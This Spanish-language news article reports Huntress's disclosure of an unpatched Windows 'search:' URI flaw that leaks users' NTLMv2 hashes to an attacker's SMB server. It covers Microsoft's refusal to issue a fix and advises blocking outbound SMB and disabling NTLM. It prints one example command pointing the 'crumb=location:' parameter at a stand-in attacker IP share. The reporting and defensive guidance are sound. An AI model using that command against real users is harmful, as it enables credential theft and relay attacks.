Un solo clic basta para que un hacker obtenga tu contraseña: nueva vulnerabilidad de Windows filtra datos de usuarios sin necesidad de virus

Un clic en un enlace en Windows puede ser suficiente para que el equipo envíe por sí mismo datos al atacante. El problema no está en un software malicioso ni en una compleja cadena de intrusión, sino en un manejador de enlaces normal integrado en el sistema.

Los especialistas de Huntress revelaron detalles de un problema sin corregir, por el cual un atacante puede obtener el hash NTLMv2 del usuario. La nueva variante es similar a CVE-2026-33829, una vulnerabilidad en la aplicación Recortes (Snipping Tool) de Windows, que Microsoft corrigió en abril de 2026.

CVE-2026-33829 CVSS:3.1/AV:N/AC:L/Au:N/C:P/I:N/A:N — 5.0 (Medium) afectaba al manejador ms-screensketch: y permitía exponer datos sensibles a terceros. Según Microsoft, el atacante podía convencer al usuario de abrir un enlace especialmente preparado en el navegador, en una página web o en un correo. Después de que el usuario aceptara ejecutar dicho enlace, el equipo se conectaba al servidor SMB del atacante y exponía el hash NTLMv2, que luego podía usarse para iniciar sesión como la víctima.

La causa de la vulnerabilidad anterior era que el manejador de enlaces en Recortes aceptaba el parámetro filePath, pero no verificaba la ruta proporcionada. Si el parámetro contenía una ruta de red UNC, Windows accedía al recurso indicado y lanzaba la autenticación NTLM. Como resultado, el atacante podía obtener el hash Net-NTLMv2 del usuario.

El problema nuevo conduce al mismo resultado, pero utiliza otro manejador. En lugar de ms-screensketch: y del parámetro filePath se emplea el esquema search: y el parámetro crumb=location:. Un ejemplo de este comando es: start "" "search=test&crumb=location:\10.0.1.100\share". Según el especialista de Huntress Andrew Schwartz, el mecanismo de fuga de NTLM, el resultado, las condiciones del ataque y la evaluación moderada del riesgo coinciden con la vulnerabilidad ya corregida.

El problema se pudo reproducir en Windows 11 25H2 Pro. En la prueba se usó una cuenta normal sin privilegios de administrador, con la protección de Microsoft Defender activada por defecto. En el lado del atacante se ejecutaba un servidor con la herramienta Responder, que obtuvo de inmediato los datos del usuario tras ejecutar el enlace search: con el parámetro crumb=location: y una ruta SMB.

La particularidad del ataque es que el usuario solo ve el mensaje estándar de Windows indicando que no se puede acceder al dispositivo, a la ruta o al archivo. Para entonces el hash ya ha salido del equipo. Huntress señala que la fuga ocurre en la primera ejecución por sesión de inicio de sesión; los intentos repetidos antes de que el usuario cierre la sesión ya devuelven un rechazo de acceso.

El hash recopilado no es la contraseña en texto claro, pero sigue teniendo valor para el ataque. El atacante puede usar los datos obtenidos para la retransmisión NTLM y tratar de afianzarse más en la red, si la infraestructura interna lo permite.

Una técnica similar con el parámetro crumb para robar hashes ya la describió Varonis en febrero de 2024 en relación con CVE-2023-35636. Al mismo tiempo, la variante actual vía search: vuelve a mostrar que el mismo tipo de errores puede manifestarse en distintos manejadores de enlaces de Windows.

Huntress informó del problema al Centro de Respuesta de Microsoft el 15 de abril de 2026, al día siguiente de la salida de la corrección para Recortes. Microsoft rehusó publicar una corrección y un identificador CVE separado, alegando que el umbral de mantenimiento suele aplicarse a casos de alto y crítico nivel de riesgo. No obstante, CVE-2026-33829 también recibió una evaluación moderada, aunque fue corregida.

La principal queja de Huntress es la incoherencia del enfoque. La vulnerabilidad en Recortes recibió un CVE y una actualización, aunque pertenecía a la misma clase, tenía una calificación de riesgo similar y el mismo resultado práctico. La variante vía search: quedó sin actualización, aunque está relacionada no con una aplicación aislada, sino con el Explorador de Windows y el mecanismo del sistema que procesa esos enlaces.

Una dificultad adicional es que search: y search-ms: están registrados en Windows como esquemas distintos, pero apuntan al mismo flujo de procesamiento a través del componente ExplorerFrame.dll. Por eso, corregir únicamente un esquema no solucionaría el problema por completo. Una protección fiable debe cerrar el mecanismo mismo que permite esas llamadas a rutas de red sin la verificación adecuada.

Para las empresas, este caso muestra un punto débil en el enfoque en que el programa de actualizaciones se orienta solo por la existencia de CVE. Una organización pudo instalar la corrección de abril para Recortes y aun así no detectar una variante de ataque cercana en el sentido vía search:, porque Microsoft no publicó un boletín separado para ella.

Mientras no haya corrección, Huntress aconseja bloquear las conexiones SMB salientes donde no sean necesarias. En primer lugar, se trata de los puertos TCP 445 y TCP 139. Además, conviene activar la firma SMB para que los hashes capturados no puedan retransmitirse a servicios internos, y deshabilitar NTLM donde la infraestructura lo permita sin problemas. En el tráfico de correo y en los registros de los servidores proxy conviene vigilar los enlaces search: y search-ms:, ya que en la correspondencia habitual esas direcciones casi no son necesarias.